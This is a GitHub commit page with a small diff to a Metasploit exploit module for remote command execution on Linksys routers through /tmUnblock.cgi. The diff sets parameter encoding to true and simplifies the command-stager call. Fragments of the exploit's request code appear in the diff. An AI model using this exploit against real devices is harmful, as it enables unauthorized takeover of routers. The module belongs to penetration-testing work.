Skip to content

Commit 4319885

Browse files
author
Michael Messner
committed
we do not need pieces ...
1 parent 15345da commit 4319885

File tree

1 file changed

+2
-4
lines changed

1 file changed

+2
-4
lines changed

modules/exploits/linux/http/linksys_themoon_exec.rb

Lines changed: 2 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -75,7 +75,7 @@ def execute_command(cmd, opts)
7575
res = send_request_cgi({
7676
'uri' => '/tmUnblock.cgi',
7777
'method' => 'POST',
78-
'encode_params' => false,
78+
'encode_params' => true,
7979
'vars_post' => {
8080
"submit_button" => "",
8181
"change_action" => "",
@@ -113,8 +113,6 @@ def exploit
113113
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
114114
end
115115

116-
execute_cmdstager(
117-
:linemax => 26
118-
)
116+
execute_cmdstager
119117
end
120118
end

0 commit comments

Comments
 (0)